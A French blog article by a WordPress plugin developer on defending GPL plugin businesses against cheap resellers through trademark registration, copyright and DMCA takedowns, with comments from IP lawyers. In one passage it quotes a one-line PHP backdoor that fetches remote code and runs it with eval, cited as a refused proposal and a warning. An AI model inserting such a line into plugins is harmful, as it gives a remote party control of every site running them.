Le guide ultime pour protéger légalement votre entreprise de plugins WordPress GPL contre les trolls

Les licences logicielles peuvent être un sujet très déroutant, en particulier dans le monde open source. Les limites de la légalité et de l'éthique ne sont pas toujours claires. Mais en tant que propriétaires d'entreprise axés sur la vente de plugins WordPress GPL, il est de notre devoir de bien comprendre ces sujets.

Cet article ne traitera pas de l'éthique et se concentrera sur les considérations juridiques. Il vous fournira une formule actionnable étape par étape, y compris les commentaires d'avocats expérimentés dans cet espace, pour protéger votre entreprise WordPress contre les plugins "trolls".

En tant que développeur de plugins depuis cinq ans, j'ai lu des tonnes d'articles traitant de la GPL, de ses libertés et des défis associés à la gestion d'une entreprise conforme à la GPL. Mais au cours des derniers mois, ce sujet est devenu encore plus important pour moi.

En août, un compte Twitter nommé WordPress Plugins (https://twitter.com/plugswp) m'a suivi. Par habitude, j'ai vérifié leur profil pour en savoir plus sur cet utilisateur. J'ai rapidement découvert que le gestionnaire était associé à "wppluginscheap.com", un "troll" de plugins et de thèmes qui se présente comme "la source numéro 1 pour les plugins et thèmes WordPress premium bon marché". En parcourant le site, j'ai trouvé de nombreux plugins premium populaires comme Yoast SEO, Backup Buddy, WP Robot et 50 thèmes premium. Chaque produit vendu pour moins de 10 $.

Naïf comme j'étais, j'ai sauté sur WPChat et j'ai commencé un nouveau fil :

Nous avons tous codé sous la menace qu'un troll apparaisse et revende nos plugins / thèmes GPL à des prix ridicules. Eh bien… c'est ici Que diriez-vous d'acheter Yoast Premium SEO pour 4,00 $… Je suis un peu énervé et d'un autre côté amusé car je savais que cela apparaîtrait un jour.

J'ai posé deux questions à la communauté :
1. Comment pouvons-nous le retirer ?
2. Vous sentez-vous menacé ?

En parallèle, je suis allé sur le groupe Facebook Advanced WordPress, et j'ai téléchargé le statut suivant :

Joost de Valk et Thomas Hofter à moins que vous n'ayez commencé à vendre vos plugins pour moins de 10 $, je pense que ces gars violent vos marques (et des dizaines d'autres développeurs de plugins). Comment pouvons-nous le faire descendre?

Si vous êtes membre du groupe AWP, vous pouvez consulter l'intégralité du fil ici.

Les deux fils de discussion ont suscité beaucoup d'intérêt et de discussions. J'ai reçu 17 réponses dans WPChat et 84 commentaires dans le groupe Facebook AWP. Une fois que les réponses ont commencé à s'accumuler, j'ai réalisé deux choses :
1. Les trolls de plugins/thèmes WordPress sont une épidémie – ça se passe partout !

Cela se produit depuis LONGTEMPS, bien que principalement avec des thèmes et des addons WooCommerce. Voir gplclub.org et sozot.com. WPAvengers.com a fait quelque chose de similaire avant de fermer.

– Leland Fiegel, fondateur de WPChat

2. Même s'il existe des centaines d'articles de blog sur tous les aspects de la licence GPL, il y a encore beaucoup de confusion dans l'écosystème. Même parmi les influenceurs. Il semble que beaucoup de gens pensent que c'est techniquement correct (bien que contraire à l'éthique) de le faire puisque les plugins et les thèmes sont sous licence GPL.

Ces opportunistes surgissent de temps en temps et ne semblent jamais représenter quoi que ce soit. C'est légal (la partie GPL, de toute façon) mais contraire à l'éthique. C'est paresseux. Et c'est mauvais pour les clients car les marchandises sont dans un état douteux, obsolètes, non prises en charge et suspectes.

– Steven Gliebe, développeur de thèmes et fondateur de Pro Plugin Directory

C'est contraire à l'éthique, mais si moi, en tant que propriétaire d'une boutique de thèmes / plugins sous GPL, je dirais cela, je pense que je suis encore plus contraire à l'éthique si je peux dire cela que ces gars-là, et un hypocrite total.

– Ionut Neagu, fondateur de CodeinWP

Parmi les autres commentaires reçus sur Facebook, mentionnons :

• Si les plugins étaient sous licence GPL, j'ai bien peur qu'ils ne puissent rien faire
• Je ne pense pas que les versions premium soient sous GPL
• C'est légal, sous la GPL

Et il y en a bien d'autres !

Alors avant de commencer, permettez-moi de clarifier quelque chose -

C'est complètement faux !

Les développeurs ont toujours des droits exécutoires même si leurs plugins sont distribués sous une licence open source.
Ces « Plugin Trolls » peuvent toujours être tenus responsables de la violation de la marque et/ou de la violation du droit d'auteur.

Je tiens à ajouter que j'ai lu de nombreuses opinions disant que ces trolls ne font aucun mal à l'entreprise. Si tel était le cas, je ne prendrais pas la peine de passer autant de temps à compiler cet article. Je voudrais profiter de l'occasion pour expliquer les raisons pour lesquelles les trolls sont mauvais pour la communauté WordPress - pour votre entreprise et aussi pour les utilisateurs de WordPress.

Pourquoi les trolls de plugins sont-ils mauvais pour votre activité de plugins ?

Revenus perdus

Que cela vous plaise ou non, un grand nombre d'utilisateurs achèteront ou obtiendront votre plugin premium sur ces sites Web. Surtout les débutants WordPress. Si j'étais nouveau dans l'écosystème WordPress et que je cherchais un plugin SEO, Yoast SEO pour 4 $ semble bien plus attrayant que le prix total. Je voudrais juste l'acheter. Tout comme je recherche toujours la meilleure remise lorsque j'achète un smartphone ou d'autres produits. Je n'ai pas besoin de la « garantie d'origine » puisque je ne l'ai jamais utilisée avec aucun des produits que j'ai achetés, donc l'assistance n'est pas quelque chose que les utilisateurs ont à l'esprit dès le départ.

Abus de soutien

S'il y a des problèmes avec le plugin acheté auprès du troll - devinez qui est blâmé pour cela ? Bien sûr, le vrai développeur/entreprise. Si l'illustration associée à votre marque est reproduite, les clients vous contacteront. Tout comme si j'achetais un smartphone HTC sur Amazon, lorsque j'ai des problèmes avec l'appareil, j'appelle le support technique HTC, pas Amazon. Que diriez-vous à l'utilisateur ? "Oui, c'est notre téléphone, mais vous devez contacter Amazon pour une assistance technique." Cette réponse serait difficile à digérer pour un utilisateur. Il semblerait que vous ne souteniez pas vos produits.

S'il y a des problèmes avec le plugin acheté auprès du troll - devinez qui est blâmé pour ça ?Tweet

Dommages à la marque

Il ne fait aucun doute que certains trolls injectent du code malveillant dans les plugins. La principale incitation à le faire est de générer des revenus tout en distribuant gratuitement les plugins premium. J'ai moi-même été témoin de cela. Il y a deux ans, j'ai été approché par un responsable SEO d'une grande agence basée au Royaume-Uni (plus de 100 employés). . Il m'a proposé de s'associer en ajoutant une simple ligne de code à notre plugin :
eval(wp_remote_get( 'http://www.company.com/path/to/api/endpoint/' )['body']);

L'idée était que le point de terminaison de l'API renverrait des URL masquées pour pousser les backlinks de leurs sociétés de portefeuille. L'un des exemples qu'il a envoyés était:

<a href="”http://www.portfolio-company.com”">Great Company</a>

Les trolls peuvent injecter du code malveillant dans les plugins tout en utilisant votre marque d'origine, un dommage direct à votre marque !Tweet

C'était avant Google Penguin et c'était un excellent hack SEO. Et l'offre était également fantastique - 0,1 $ par domaine par mois. Donc, si j'avais 100 000 domaines actifs utilisant mon plugin, je pourrais générer 10 000 $ / mois. revenus sans dépenser une minute supplémentaire. Génial non ? Évidemment, nous ne l'avons pas fait, pour diverses raisons, principalement parce que ce code était EXTRÊMEMENT malveillant. Il ouvre une porte dérobée à distance pour faire tout ce que vous voulez avec le site. Même si l'agence était uniquement destinée à l'utiliser pour le référencement, que se passe-t-il si son serveur est piraté et qu'une personne mal intentionnée en prend le contrôle ? Qui sait combien de plugins WordPress.org légitimes se sont associés à cette agence… Pour en revenir aux trolls, leurs intentions sont purement financières. Ils ne font pas la promotion de vos plugins premium pour le plaisir, ils veulent gagner de l'argent. Et s'ils font des choses illégales comme la violation du droit d'auteur et de la marque, rien ne les empêche de générer des sources de revenus alternatives comme les injections de code. Oh, et j'ai oublié de mentionner que si quelque chose comme ça se produit, vous êtes le seul à être blâmé ! C'est votre produit et votre marque.

Pourquoi les plugins trolls sont-ils mauvais pour les utilisateurs ?

Pour bon nombre des mêmes raisons que j'ai mentionnées, mais du point de vue de l'utilisateur.

Pas de support

Face à un problème technique, le troll ne peut tout simplement pas vous aider. Ce n'est pas leur produit, ils n'ont aucune idée du code ou de la façon de résoudre les problèmes connexes. De plus, ils n'ont pas les ressources de soutien pour le faire. Et si vous essayez de contacter la société d'origine, les développeurs de plugins premium disposent de l'infrastructure nécessaire pour suivre leurs clients. La société ne vous aidera souvent pas tant que vous n'aurez pas acheté une licence originale.

Les redistributeurs illégaux de plugins ne peuvent pas et ne veulent pas vous aider avec des problèmes techniques.Tweet

Aucune mise à jour automatique

La plupart des plugins premium sur le marché aujourd'hui ont un mécanisme de licence et de mises à jour (les trolls « piratent » souvent cette partie avant de redistribuer le plugin). Le fonctionnement de ce mécanisme de mises à jour automatiques est qu'une fois toutes les 24 heures, le plug-in vérifie le serveur de l'entreprise d'origine pour voir s'il existe des mises à jour pour la version premium. Il s'authentifie également avec une clé de licence. Étant donné que le plugin du troll n'a jamais reçu de clé de licence de la société d'origine, ce mécanisme de mise à jour ne fonctionnera PAS. Par conséquent, chaque fois qu'un plugin premium non original est installé, il n'y a pas de mises à jour automatiques. C'est mauvais car les pirates trouvent constamment de nouvelles vulnérabilités créatives et un plugin premium obsolète pourrait être cette fuite de sécurité.

Les plugins WordPress piratés n'ont pas de mécanisme de mises à jour automatisées - une vulnérabilité de sécurité constante !Tweet

Fuites de sécurité majeures

Vous souvenez-vous de la ligne de code malveillante que j'ai mentionnée ci-dessus ? Souhaitez-vous avoir une porte dérobée vers votre site ouverte aux pirates ? Cette porte dérobée permet littéralement à un pirate de modifier chaque pixel et élément de contenu de votre site. Et ce n'est qu'un exemple, je suis sûr qu'il existe de nombreuses autres injections créatives.

Que couvrent les licences open source ?

Comme il y a clairement beaucoup de confusion à propos de ces problèmes dans la communauté des développeurs, j'ai contacté mon ami, Ariel Reinitz et son collègue Matthew Hintz, qui sont des avocats en propriété intellectuelle (PI) (brevets, marques et droits d'auteur) chez Lowenstein Sandler LLP, une entreprise nationale avec des bureaux de New York à Palo Alto.

Ariel m'a expliqué que même si les "trolls" du plugin WP peuvent techniquement avoir le droit de redistribuer du code sous une licence open source (par exemple, GPL), il existe d'autres droits de propriété intellectuelle ("IP") qui ne sont pas couverts par l'open source. licence que ces « trolls » pourraient encore enfreindre.

Voici ce qu'Ariel a à dire sur la GPL :

Il est important de comprendre ce que couvre (et ne couvre pas) la licence open source (GPLv2) sous laquelle la plupart des plugins WordPress sont distribués :

Une licence open source dicte comment le logiciel/code source doit être distribué. Généralement, ces licences permettent à quiconque d'utiliser, de modifier, etc., le logiciel/code sans frais. Ainsi, le code source d'un projet open source peut être redistribué par d'autres parties sans violer les termes de la GPL.

En termes simples, la liberté GPL permet à quiconque de prendre le code source et d'en faire ce qu'il veut, y compris la distribution. Je crois qu'il y a un consensus là-dessus dans la communauté.

Qu'est-ce que les licences open source ne couvrent pas ?

Cependant, les licences open source (y compris la GPLv2) ne s'étendent généralement pas aux marques. Les marques se rapportent à la manière dont un produit (par exemple, un plugin, un thème, une application, etc.) est marqué - par exemple, le nom du produit (et/ou de l'entreprise dont il provient), son slogan/slogan, et /ou son logo. Ainsi, bien que le code source d'un projet puisse être librement redistribuable sous une licence open source, une telle licence ne confère à d'autres aucun droit sur les marques associées au projet (par exemple, le nom du produit, la société qui l'a développé, etc.).

En termes non juridiques, la GPL n'autorise pas l'utilisation de la marque du plug-in, comme le nom du produit, le nom de la société et le logo. Ariel nous donne un exemple :

Ainsi, par exemple, si un tiers redistribue un plugin WordPress en utilisant toute la marque d'origine du projet (par exemple, en le promouvant avec le nom, le logo, etc. d'origine de l'entreprise/du projet), cela enfreindrait probablement la marque du développeur d'origine. droits. Comme indiqué, la licence open source ne permet pas à quelqu'un d'utiliser la marque de quelqu'un d'autre dans un contexte commercial. Ceci est important car l'un des grands principes du droit des marques est de protéger le consommateur contre toute confusion quant à la provenance d'un produit.

Les grands principes du droit des marques ne sont pas seulement de protéger l'entreprise, ils sont là pour protéger le consommateur de toute confusion quant à la provenance d'un produit. C'est une note importante !

Il est également important de reconnaître que de nombreuses entreprises open source enregistrent, protègent et contrôlent leurs droits de marque. Les exemples incluent : Linux , MySQL , Red Hat et WordPress .

Ce qu'Ariel dit ici, c'est que bon nombre des plus grands noms de l'open source protègent et contrôlent leurs droits de marque. Pourquoi ne devrions-nous pas faire la même chose ?

Si Red Hat peut protéger et contrôler ses droits de marque, pourquoi les développeurs de plugins ne le peuvent-ils pas ?Tweet

En plus des droits de marque, Ariel a souligné que les développeurs ont également droit à la protection du droit d' auteur sur les matériaux qu'ils produisent qui ne font pas partie du code source :

Il est également important de reconnaître que la GPL (et d'autres licences open source) ne couvre que le code source du plugin lui-même. Mais, si le développeur crée des éléments qui ne font pas partie du code source (par exemple, des graphiques, des éléments promotionnels, des emballages, etc.), ces éléments ne relèvent pas de la GPL et le développeur n'a aucune obligation d'autoriser une autre partie pour redistribuer les matériaux.

Par exemple, regardez comment le plugin "Yoast" est présenté dans certains des sites "troll" référencés ci-dessus. Bien que ces sites puissent techniquement être en mesure de redistribuer le code source de Yoast (car il relève de la licence GPL), ces sites intègrent également des éléments tels que l'image de marque de Yoast (par exemple, le nom et le logo de Yoast, qui sont des marques déposées ) ainsi que d'autres éléments créatifs développés par Yoast (par exemple, le graphique du gars buvant du thé qui ne fait pas partie du code source de Yoast et donc le droit d' auteur appartient à Yoast et n'est pas soumis à la GPL).

Ainsi, bien que le troll puisse être légalement autorisé à redistribuer le code source de Yoast, la GPL (ou une autre licence open source) ne lui donne pas le droit d'utiliser (a) l'image de marque de Yoast (marques déposées) ou (b) d'autres graphiques, matériaux, etc. ., (droits d'auteur) . Puisqu'ils ne font pas partie du code source du plug-in, ces éléments ne relèvent pas de la licence GPL et, par conséquent, les droits de propriété intellectuelle (IP) sur ces éléments sont la propriété exclusive du développeur .

Étant donné que les "trolls" du plugin utilisent les marques déposées et les éléments protégés par le droit d'auteur du développeur (comme dans les exemples "Yoast" ci-dessus), il existe des procédures légales (comme nous l'explorerons en détail ci-dessous) que les développeurs peuvent utiliser pour faire respecter ces droits afin de arrêter, dissuader ou au moins tenter de limiter l'impact que ces « trolls » peuvent avoir sur votre entreprise. Encore une fois, cela est vrai même si votre plugin est distribué sous licence GPL.

Qu'est-ce qui est protégé par les marques ?

Matthew explique ce que recouvrent les marques :

En termes simples, une marque de commerce est un identifiant unique pour les consommateurs qui distingue la source des biens ou des services des autres. Le plus souvent, une marque de commerce est un mot, un logo ou une combinaison de ces éléments. Aux États-Unis, les droits de marque commencent par l'utilisation dans le commerce (appelés «droits de common law»), et non par l'enregistrement auprès de l'Office américain des brevets et des marques (USPTO). Cependant, l'enregistrement de votre marque auprès de l'USPTO offre au propriétaire de nombreux avantages non disponibles dans le cadre des droits de common law. Il s'agit notamment de la preuve du droit exclusif du déposant d'utiliser une marque sur l'ensemble des États-Unis en relation avec les produits ou services indiqués dans l'enregistrement, un avis implicite indiquant que le déposant est le propriétaire de la marque, la liste de l'enregistrement dans le registre de l'USPTO base de données en ligne et possibilité d'utiliser le symbole. (Avant l'enregistrement, un symbole TM peut être utilisé avec une marque.)

Le code est-il protégé par une marque ?

Au cours de mes recherches, j'ai lu quelques articles mentionnant que lors de la création d'un plug-in sous licence GPL ou d'un thème, le code doit être refactorisé pour s'assurer qu'aucune fonction n'inclut l'identifiant de la marque dans le nom de la fonction. Pour clarifier cela, j'ai demandé à Matthew si le code était également protégé par la marque, et voici la réponse :

Le code lui-même n'est pas protégé par une marque. Les marques de commerce protègent le mot ou le logo qu'un consommateur associe à vos produits ou services. Une limite à la protection des marques pour un plugin serait alors le mot ou le logo utilisé pour commercialiser le plugin auprès des consommateurs. Et puis, le test fondamental pour la contrefaçon de marque est de savoir si les consommateurs seraient susceptibles d'être confus par la similitude des deux marques. La similarité est évaluée en examinant des éléments tels que la similarité visuelle et phonétique, le degré d'étroitesse des produits/services pour chaque marque, le caractère distinctif des marques et la durée d'utilisation des marques.

Pour clarifier la réponse dans un langage convivial pour les développeurs :

• Les noms de classes, les noms de fonctions, les noms de variables et les noms de constantes ne sont PAS protégés par une marque.
• D'autre part, les chaînes imprimées sur la page et visibles par les utilisateurs finaux sont protégées par une marque.

Comment déposer un enregistrement de marque ?

Pour bénéficier des avantages de l'enregistrement fédéral d'une marque, votre marque doit être enregistrée auprès de l'USPTO. Une demande d'enregistrement doit inclure des informations de base : le nom du demandeur/propriétaire, la marque, les produits ou services avec lesquels la marque est utilisée, la preuve de l'utilisation de la marque avec ces produits ou services, et les dates de première utilisation de cette marque. . Considérations pour votre candidature :

• Recherchez dans la base de données TESS (http://www.uspto.gov/trademark) de l'USPTO des marques identiques ou similaires. Si des marques identiques ou similaires sont demandées ou déjà enregistrées, celles-ci peuvent constituer la base d'un rejet de votre demande. Effectuez également une recherche via Google ou d'autres services de recherche, car une marque pourrait être utilisée sans enregistrement et avoir des droits supérieurs sur cette marque malgré votre enregistrement. L'enregistrement n'épuise pas les droits de marque d'un utilisateur antérieur.
• Pour décrire vos produits ou services, recherchez dans le manuel d'identification de l'USPTO une langue acceptable : http://tess2.uspto.gov/netahtml/tidm.html . Vous pouvez également rechercher un langage acceptable sur TESS.
• Les classes sont des indications générales relatives à certains domaines de produits ou de services. Par exemple, les plug-ins téléchargeables appartiennent généralement à la classe 9, qui couvre tous les programmes et logiciels informatiques.
• Les frais pour une demande de marque sont déterminés par le nombre de classes. Les frais généraux sont de 275 $ par classe, mais des options de dépôt moins chères et plus chères sont disponibles.

Après le dépôt d'une demande, l'USPTO examinera la demande pour déterminer si la marque est un identifiant unique (c'est-à-dire non descriptif ou semblable à confusion avec les demandes ou enregistrements antérieurs déposés). L'USPTO fournit des délais pour les demandes : http://www.uspto.gov/trademark/trademark-timelines/trademark-application-and-post-registration-process-timelines .

Gardez à l'esprit que la protection des marques est territoriale. Par exemple, un enregistrement aux États-Unis fournira une protection de marque aux États-Unis.

Comme l'a décrit Matthew, le processus n'est pas nécessairement complexe, mais il demande du temps et des efforts. Je recommanderais de payer un avocat de niveau intermédiaire pour le faire pour vous. Cela devrait vous coûter entre 200 $ et 2 000 $ pour le travail, mais cela vous fera gagner du temps et assurera une meilleure application. Dans tous les cas, avant de commencer, Googlez-le ! Si vous trouvez un produit ou une entreprise (en particulier dans le même domaine ou dans un domaine similaire) correspondant exactement à votre terme / expression, il y a de fortes chances que vous ne puissiez PAS enregistrer la marque (et vous pourriez en fait violer celle de quelqu'un d'autre).

Que faire lorsque votre marque est violée ?

Je vais commencer par ce que vous ne devriez PAS faire - s'il s'agit d'une violation de marque, pas d'un droit d'auteur, vous ne devriez PAS déposer un retrait DMCA.

DMCA couvre UNIQUEMENT la violation du droit d'auteur. Aucune disposition similaire n'existe pour les marques. L'utilisation des avis de retrait DMCA pour les revendications de marque peut entraîner la responsabilité du demandeur en cas de fausses déclarations.

Il est généralement plus simple de tenter de résoudre les problèmes directement avec le propriétaire du site Web. Si cela échoue, vous pouvez intenter une action en justice contre le propriétaire du site Web, l'hébergeur, etc. L'approche spécifique que vous adopterez sera probablement spécifique à chaque cas et à ce stade, je vous suggère de contacter un avocat pour comprendre la meilleure option dans votre situation spécifique .

Qu'est-ce qui est protégé par les droits d'auteur ?

Le droit d'auteur est différent de la marque. Le droit d'auteur protège les œuvres originales de l'auteur fixées dans un moyen d'expression. Cependant, une limite à la protection du droit d'auteur est qu'elle ne s'étend qu'à l'expression, pas à l'idée. Les catégories d'œuvres protégées par le droit d'auteur comprennent les œuvres littéraires (livres, code), les œuvres musicales, les photographies et les images, les films cinématographiques, les enregistrements sonores, entre autres catégories. Une autre limite est que le droit d'auteur ne protège pas les phrases ou expressions courtes - cela reste pour la protection des marques, tant qu'elles fonctionnent comme un identifiant unique pour les consommateurs qui distingue la source des biens ou des services des autres.

Que faire lorsque vos droits d'auteur sont violés ?

1. Au début, il est souvent plus simple d'essayer de contacter directement le propriétaire du site Web. Dans de nombreux cas, le propriétaire du site Web n'est pas plus intéressé que vous à recruter des avocats, à vous impliquer dans des procédures judiciaires, etc. Essayez de trouver le compte Twitter, l'e-mail de contact ou la page de contact sur le site, et envoyez un message demandant la suppression de votre plug-in de marque à partir du site Web.
2. Si cela ne vous aide pas, vous pouvez envoyer un avis de retrait DMCA (Digital Millennium Copyright Act). Il existe un tas de générateurs pour vous aider à en créer un, il suffit de rechercher sur Google "dmca takedown generator". Une fois que vous avez l'avis, vous devrez l'envoyer au propriétaire du site, à la société d'hébergement et au FAI. Vous pouvez également soumettre un avis aux moteurs de recherche pour supprimer le site des résultats de recherche. Pour trouver la société d'hébergement, vous pouvez utiliser des sites Web tels que whoishostingthis.com. Pour trouver le FAI, vous pouvez utiliser des sites Web comme http://www.whoismyisp.org/. Pour trouver le lien pertinent pour déposer le DMCA auprès du FAI / de l'hébergement, recherchez ISP_NAME / HOSTING_NAME + DMCA sur Google.

Alternativement, vous pouvez intenter une action en justice contre le propriétaire du site Web, l'hébergeur, etc. Je vous suggère de contacter un avocat pour comprendre si c'est ou non la meilleure option dans votre situation particulière.

Conclusion

J'espère que cet ensemble d'instructions étape par étape vous a donné les bons outils pour protéger votre entreprise de plugins GPL contre les trolls. Juste un récapitulatif :

• En tant que propriétaire d'entreprise, vous êtes éligible et devez protéger la marque et les actifs de votre entreprise.
• Les marques de commerce et les droits d'auteur sont des moyens relativement peu coûteux et efficaces de protéger légalement votre activité de plug-in. Par conséquent, vous devriez sérieusement envisager d'enregistrer des marques de commerce pour le nom de votre entreprise et les noms de produits.
• De nombreux trolls enfreignent à la fois les droits d'auteur (par exemple, en supprimant vos graphiques promotionnels) et les marques (en utilisant le nom de votre marque). En créant un nom de marque, un logo et une illustration uniques, vous générez un portefeuille pour aider à lutter contre la violation du droit d'auteur.

De nombreux trolls enfreignent à la fois les droits d'auteur et les marques. En créant un nom de marque, un logo et une illustration uniques, vous générez un portefeuille pour aider à lutter contre la violation du droit d'auteur.Tweet

Si un site Web tiers répertorie votre plug-in ou thème GPL premium, à vendre ou à offrir, sans votre consentement :

• Si le site Web utilise vos illustrations originales ou d'autres éléments, il s'agit probablement d'une violation du droit d'auteur. Vous pouvez déposer un retrait DMCA.
• Si le site Web utilise la marque de votre entreprise ou de votre produit, il s'agit probablement d'une contrefaçon de marque. Vous pouvez engager des poursuites judiciaires contre le site.

Si vous avez des réflexions supplémentaires sur les implications juridiques et éthiques de la GPL, n'hésitez pas à les partager dans les commentaires ci-dessous.

Grandes références :

• Avis de retrait DMCA émis contre Fork de WP Migrate DB Pro
• La licence GPL ne donne pas la liberté de porter atteinte aux marques déposées
• La GPL de WordPress est-elle abusive ?
• Pourquoi payons-nous pour le code sous licence GPL ?